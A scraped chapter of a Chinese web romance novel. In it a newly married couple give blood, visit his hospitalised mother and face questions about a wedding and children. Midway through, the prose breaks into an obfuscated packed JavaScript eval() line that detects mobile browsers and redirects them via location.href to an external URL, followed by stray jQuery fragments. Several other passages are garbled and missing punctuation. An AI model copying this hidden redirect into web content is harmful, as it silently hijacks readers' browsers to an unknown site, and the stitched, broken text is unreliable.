第22章 22

作品:《雾色难抵

    ◎“我结扎了。”◎


    十几分钟的时间,手再放下的时候,沈洛怡没去瞧程砚深的面色,只看见抽血的医务人员望着他们交握的双手时暧昧的眼神,见她望过来,很和气地笑了笑,还悄悄给她比了个大拇指。


    沈洛怡转过头,揉了揉耳朵,她努力忽视已经跃上面颊的热度,刚一出献血室就松开了握着程砚深的手。


    程砚深微微侧目,目光定在还按着棉球的手肘上,还有那之下已经空了的手心。


    目光平静淡然,姿态矜然,一派清风朗月的模样,面上丝毫表情也无,仿佛什么都不会影响他的情绪。


    然而下一秒,薄唇间忽地被塞进了一颗糖果。


    程砚深静如浅溪的眼眸散开几丝凉意,深渊裂开坠落下碎石阵阵,仿佛美轮美奂的工笔画恍惚间添上了一点浓墨重彩。


    喉头微滚,那颗糖果已经被卷在唇舌间。


    “吃糖。”


    沈洛怡语调轻柔,娴静矜持地往他嘴里递去一颗糖。


    她也不知道献血后要注意什么,只刚刚在手机上草草搜索了一番,大概是要吃糖或者喝牛奶的。


    瞧着他的面色,她观察不出什么端倪,淡抿着红唇,在他眼前晃了晃手指:“你还好吗?”


    程砚深回神,唇间丝丝缕缕绕着甜意,薄唇极缓地抿起一点弧度,浅浅摇头。


    他没说话,沈洛怡更担心了些,靠近了些,关怀道:“他们说献血要原地静置一会儿,如果你不舒服的话。”


    “我可以有偿借你一个肩膀。”指了指自己单薄瘦削的肩膀,似乎很是慷慨的样子。


    依然是光风霁月的贵公子模样,只是眉宇间拢着几分浓色,久久未散去。程砚深的视线转过去,薄唇勾起弧度,清润的嗓音徐徐落下:“他们说的?谁说的?”


    他远没有那么柔弱,正常人身体状态健康的情况下献血,并不会对身体有什么影响。


    沈洛怡有些过于担心了。


    这话听着有些像在挑衅质疑。


    鼓了鼓唇,沈洛怡表情无辜又认真:“我说的,怎么了?”


    摊了摊手,又靠过去几分:“我大小也是个总裁,怎么也带点权威性吧。”


    程砚深扔掉压着抽血针孔的棉球,轻笑了声。


    “那太太借我肩膀——”手掌抬起,如她所愿,在她肩上浅浅摩挲了下,云淡风轻的调子,“搂一下吧。”


    至于沈洛怡说的有偿。


    薄唇溢出偏低的淡声:“不好意思赊账。”


    拒绝有偿借程砚深直接选择赊账。


    沈洛怡咬了咬唇压了压唇角还是忍不住笑了出来由着他搭在自己肩上的手唇线弯起小声嘟囔着:“你怎么还挺理直气壮的。”


    “果然男人柔弱的时候确实惹人垂怜。”她漫不经心地摇头语气几分随意。


    若不是见他这副献血后隐约苍白的脸她也不会恻隐心起。


    只不过当目光移到他刚刚扔了棉球方才的抽血口隐约透过的一点斑斓血迹她又换了语气:“那就免了你的账吧。不过仅此一次请你不要有做小白脸的任何想法。”


    皱了皱秀气的鼻尖她很严谨地补充上一句:“小黑脸也不行。”


    不过程砚深天生的冷白肤色好像小黑脸也没什么可能性。


    “那就谢谢程太太给的特殊优惠政策了。”神色自若清冷面容浸透几分慵懒闲适。


    原地站了一会儿沈洛怡瞧着他的唇色恢复几分润色:“现在还好吗?”


    天色已经暗了傍晚夕阳透过窗户清冷的晖光落在程砚深肩上半明半暗中他的眼眸润泽如玉仿佛流动的淡金色光线。


    并肩的人影缓步走过天街。


    “糖很甜。”他忽然说。


    “嗯?”


    清润如溪的嗓音悠然传来程砚深问:“想知道是什么口味的吗?”


    肩上搭着的那只大掌带着温热的气息沈洛怡缩了缩肩膀


    “这是我送的哎。”她当然知道什么味道那是她出门前在茶水间抓了一把的糖果。


    柑橘玫瑰味。


    是她精心挑选的口味。


    沈洛怡有些不懂他的意思漆黑如墨的眼眸定在她面上贴着她肩膀的脉搏平稳至极只是她的心跳却失了频率。


    手臂微抬程砚深轻揉了下她的发顶低声轻缓:“可惜场合不太对不然也给你分享一下了。”


    眼睫轻颤一瞬红唇微张沈洛怡的笑容登时僵硬。


    瞧一眼他的面色那抹压下的浓色不知什么时候已经散去眉宇间不见方才的凝重。


    她咽了咽嗓子不自觉屏住呼吸。


    分享也大可不必。


    怎么分享?还能怎能分享。


    “那你还怪好心的。”话语间带上了一点奇怪的调子。


    不自觉抿了抿红唇隐下薄薄的旖色。


    程砚


    深倒是一派从容,慢条斯理放下衬衫袖口,遮掩住抽血针孔,衬衫笔挺依旧是原来俊美清贵的翩翩贵公子。


    “对太太,我一向很大方。


    重新回到手术室门口,那盏手术中的红灯依然亮着。


    无言的冷肃在蔓延,沈洛怡神思缥缈分散,视线落在他的手臂上,那本献血册被他随手放在一边。


    大概这种的环境总会滋长一些肃穆,还有无端而起的遐思。


    原来舒缓的气氛当然无存,一时两个人都没有说话。


    半晌,清冽的嗓音在寂清之中倏然传来:“我小时候去港城同外公住过一阵子,粤港喜茶,他退休后最喜欢坐在后院的鱼木树下泡茶。茶水饮尽,茶叶就被倒在树边。


    “……沈洛怡眨了眨眼,凝神望过去。


    微微垂下的眼帘,长睫隐约投下一片阴翳。


    程砚深坐在冰冷的座椅上,只望着紧闭的手术室门,淡声说:“从前我不太懂外公的用意,后来我才明白草木生万物,落叶宜归根。


    有始有终的一个循环。


    也不止是草木茶叶,或者同样适用于今天。


    沈洛怡的视线静静垂下,又重新落在那本红色的献血册上。


    他这是在和她解释献血的原因。


    她略略点头,声音很轻:“我没在担心的。


    说出来似乎有些此地无银三百两的错觉,沈洛怡下意识瞧了眼他的俊面,已经恢复无恙面色。


    又在心里重复:她真的没再担心的。


    轻咳一声,她捏紧了裙角,低声说:“我们之间也没熟到可以分享童年、互相担心的地步。


    只是眼神已经飘忽,不定中似乎又泄露了什么。


    “确实不用担心的。他依旧是那副云淡风轻的样子,缥缈清淡,“我已经习惯了。


    习惯了这种重复的有始有终,循环往复。


    语气平常,不见半分凄哀。


    可沈洛怡却凭空落下几分情绪,眺向他的手肘处,那之下是已经被衬衫遮盖的抽血针孔。


    心尖一动,眉尖轻折,一点霭色莫名笼上。


    习惯有时候也不是什么好事。


    至少,这种事,她希望永远都不要习惯。


    目光渐渐失焦,聚在她视线中的那道人影在夜色中轮廓邃暗。


    不知等到了什么时候,手术室的门被打开,手术床从中推出,程砚深的视线追着病床上的人,肩背挺拔,矜淡从容等着医生的


    总结。


    只是手指却紧紧攥着沈洛怡瞧见了。


    “放心手术很成功颅内血块已经清除再观察一晚上看看吧。”


    这大概是没什么事情了。


    沈洛怡也不由松了口气。


    重症病房不允许家属探望隔着玻璃窗他们只能看到一个消瘦的人影。


    躺在病床上只有生命体征仪上的曲线证明着她的生息。


    “你先回去休息吧我在这里等着便好。”


    沈洛怡也觉得自己在这里确实没什么用神色犹豫地把挂在手臂上的西装还给他想了几秒她又把口袋里的糖都塞进了他的口袋。


    “那、那我走了?”


    程砚深只温雅淡笑轻拍了下她的肩膀。


    翌日李阿姨早早就装好了送去医院的饭盒早餐时间她不住地唉声叹气:“夫人身体本就不好这次估计又要躺很久了。”


    “都数不清这是夫人第多少次住院了不过这次看着比往常都要严重许多。”


    “夫人也不容易这么多年都自己一个人。”


    沈洛怡没应声只望着放在桌面上的饭盒装的是刚出锅的汤包和小米粥。


    她寥寥吃了两口便放下了筷子:“这是给夫人准备的吗?”


    李阿姨摇头:“这是给程总准备的夫人术后应该短时间内无法进食的。”


    “哦。”沈洛怡站起身“那打包起来吧我一会儿上班的时候顺路带去医院。”


    “啊?”李阿姨反应了半天惊讶地点头忙不迭应着“好的好的我、我这就打包。”


    其实确实是顺路那家医院离沈氏不远早上不堵车的话沈洛怡时间充裕是来得及去医院送饭盒的。


    清晨的住院部比往常安静许多。


    高跟鞋踩在地板上的声音格外清脆她不禁放轻了步子不想打扰病人休息。


    不太巧沈洛怡来的时候程砚深不在何铮说是去洗漱了。


    沈洛怡点点头没说话抬眸时却望见走廊尽头缓步踱来的女人。


    艳丽的红唇精致的妆容手上带着一本文件微笑着递给了何铮:“你要的文件。”


    沈洛怡转过头望了几秒很快反应过来这是程砚深的那位女助理。


    她放下饭盒心如明镜般了然


    不就是秦舒明口中的意外吗?


    原本要和


    程氏合作的那家的女儿,后来出了点意外,连同并购企业和联姻对象都换了。


    有些意外,也有些巧了。


    站在一边的何铮正翻看着文件,面色凝重:“不是吧,乔妍希,这个文件又拿错了。”


    “我的天啊,大小姐。你到底是来工作的还是来折磨我的,都跟你说了,是我桌子上左面第二格的文件,你这都跑去程总办公室拿文件了。”


    沈洛怡是不太想听关于程氏的公事,现在两家企业的关系有些尴尬,该有的距离感还是要保留的,只是离得近,那些字眼还是避不可免地传进她的耳朵。


    是可以去程砚深办公室的那种助理。


    垂下眼眸,她依然保留着微笑的弧度。


    乔妍希很无所谓地耸耸肩:“那不好意思哦,那我再去取一趟就好了。”


    “大清早,你别那么凶啊。”


    何铮被她的话噎住,差点一口气没上来。


    这已经是大小姐取的第三次文件了,他没甩脸已经很留情面了。


    但是当着沈洛怡的面,他还是收敛了许多脾气:“那你现在回去取,这份文件对程总很重要。”


    “知道了,我这就回去取。”乔妍希走得不紧不慢,根本不给何铮继续发火的机会。


    沈洛怡看了看时间,她也该往公司去了,临走前她忽又转身,问道:“所以,她是新任女助理?”


    何铮不疑有他:“是啊,半个月前刚来的。”


    时间也正相符,给她买衣裙的那位女助理。


    沈洛怡其实不太在乎所谓的女助理,只是工作而已,她向来理解。


    但若是曾经的联姻对象又变成新的工作伙伴,似乎就有了些不一样的味道。


    “知道了。”微笑依然,她指了指饭盒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994489|142244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“何助理,你趁热吃,凉了就失了些味道了。”


    何铮一脸惊讶:“这不是给程总带的吗?”


    “给你的。”沈洛怡笑容婉然,语气淡定,“小白脸不太配。”


    何铮挠了挠头,感觉有些不对劲,但又粗线条地寻不出端倪。


    不过,沈总问他的助理做什么?


    天晓得,他近一年最后悔的事情,大概就是收了乔妍希?*?做他的助理。


    位置颠倒,现在倒像是他变成了乔大小姐的助理。


    谢芝芸是隔天苏醒的,收到了消息,沈洛怡很快结束会议赶去医院。


    顺便戴上了在日内瓦,程砚深不知从哪里搞来的粉钻戒指


    ,倒是和她的尺寸正相符。


    刚从昏迷中醒过来,谢芝芸眼神还带着些混沌,额上围了一圈纱布,面容苍白,毫无血色。


    只是见了他们,她依然是那副温和的语调:“也不是什么大事,不至于让你们特意从国外赶回来的。”


    嗓音有些干哑,但神智已经清醒。


    程砚深立在窗户前,西装革履,衣冠楚楚,整洁淡漠的样子。


    只是衬衣肘处的褶皱几分清晰。


    他在病房里陪了两天了。


    见程砚深不说话,沈洛怡只好走上前去,轻轻握住谢芝芸冰凉的手指:“妈,您怎么能这样说呢。”


    “就算是一点感冒小病,我们做儿女的,也该是当心上的,更何况这真的也不是小事了。”


    语气重了几许:“砚深是很担心您的。”


    在这种场合,她一向游刃有余,笑容温婉,语气体贴,尽挑着长辈爱听的话说。


    谢芝芸指腹轻握,浅浅圈住她的手指,却还是摇头:“我自己的身体自己有数,主要还是你们。你们年轻人总喜欢熬夜,就算是为了工作也该注意劳逸结合的。”


    她的目光望向不远处的程砚深,身姿颀长,肩宽挺拔,清冷矜贵,若有若无的疏离。


    可惜那人只是背对着她们,视线望向窗外,自始至终一言未发。


    沈洛怡舔了舔干涩的唇角,笑容不变,替他打圆场说:“妈,其实砚深有定期体检的。”


    “他今年的体检单我也看过的,没什么问题的。”莞尔淡笑,体温透过皮肤,点点渗入,“而且,还有我呢,我会好好照顾他的。”


    扬起眉梢,几分骄矜。


    “您别担心这些,现在最重要的事情就是养好身体,其他的时候都要往后放一放。”


    几乎将场面话说到了极致。


    至少沈洛怡自己挑不出自己话里任何毛病,不过那些话落在谢芝芸耳朵里就不一样了。


    她敏锐地挑出一个词,谢芝芸眉心忽地皱起:“你们只领了结婚证,连场婚礼都没有,也没有改口仪式。”


    重重叹了口气:“都是我不好,疏忽了这最重要的礼节,还好你父母理解,没有苛责。”


    婚礼啊。


    “……”沈洛怡语塞了一瞬,很快又端起笑脸,“没事的,我不在意这些的。”


    她是真的不在乎,甚至根本不想办这个婚礼。


    谢芝芸撑着手臂坐起,半靠在床边:“洛怡,你是个好


    孩子,但这事是我们做得不好。”


    “你们婚礼准备定在什么时候,到时候还是由我来操办吧,也算是弥补上我的惭愧。”


    “我……”沈洛怡眸光闪烁,几分为难,转向一直没说话的程砚深,咽了咽嗓子,声音有些虚,“我都听砚深的。”


    果断将矛盾转移。


    站在窗边的男人身形微动,声线凉薄,轻笑一声,几分凉薄,幽然递来一句:“等我爸什么时候有心情回国的时候吧。”


    病房里忽然的寂静,生命体征监护仪上的曲线明显地波动了瞬。


    沈洛怡紧张地盯着那条曲线又陡然上升,又渐渐归于平缓,她轻咳了声,算是提醒。


    毕竟是刚刚苏醒的病人。


    谢芝芸笑容有些勉强,摇头示意无事,她看向坐在床边的沈洛怡,声线更哑了几分:“那你们准备什么时候要孩子?”


    既然不想提婚礼,她便换了话题。


    只是这个话题,似乎更沉重了些。


    沈洛怡眼睛蓦地睁大,猛地咳了几声。


    她是有预料过婚后会被问到这个问题,但在这种场合下一瞬间的慌乱无从掩饰。


    她抿抿唇,不知道该如何回答。


    婚礼尚且不想办,更何况是孩子这种事情。


    “我们……”她挽了挽额头,微一蹙眉,“我们也才刚结婚,也不至于这么急的。”


    眼神偏向窗前的男人,带着几分求救的意味。


    大概是有所察觉的,气氛凝滞了几秒,这次是程砚深开口的:“我们暂时没计划。”


    他转过头,目光清隽,漫不经心,很是随意的语调:“我结扎了。”


    沈洛怡清透的水眸怔了秒,同样惊讶的还有谢芝芸。


    程砚深微微抬眸,语序极慢:“你儿子暂时没能力生,就别为难你儿媳了。”


    话音落下,病房里陷入更尴尬的寂静。


    走出病房的时候,沈洛怡还有些懵然。


    她扯了扯他的袖口,眼眸清灵,闪烁着几分茫然:“你、你什么时候结扎的?”


    结扎?!


    像是抛过来的水球,砸过来的时候不痛,但却溅起连绵不绝的水花。


    逆着光影,程砚深的面容笼上几分暗色。


    散漫靠着墙壁,他望向她的视线几分慵懒。


    唇线轻抬,薄唇溢出淡而清晰的声线:“三天后。”


    【??作者有话说】


    写一半电脑死机了,后面都是用手机敲出来的,哭惹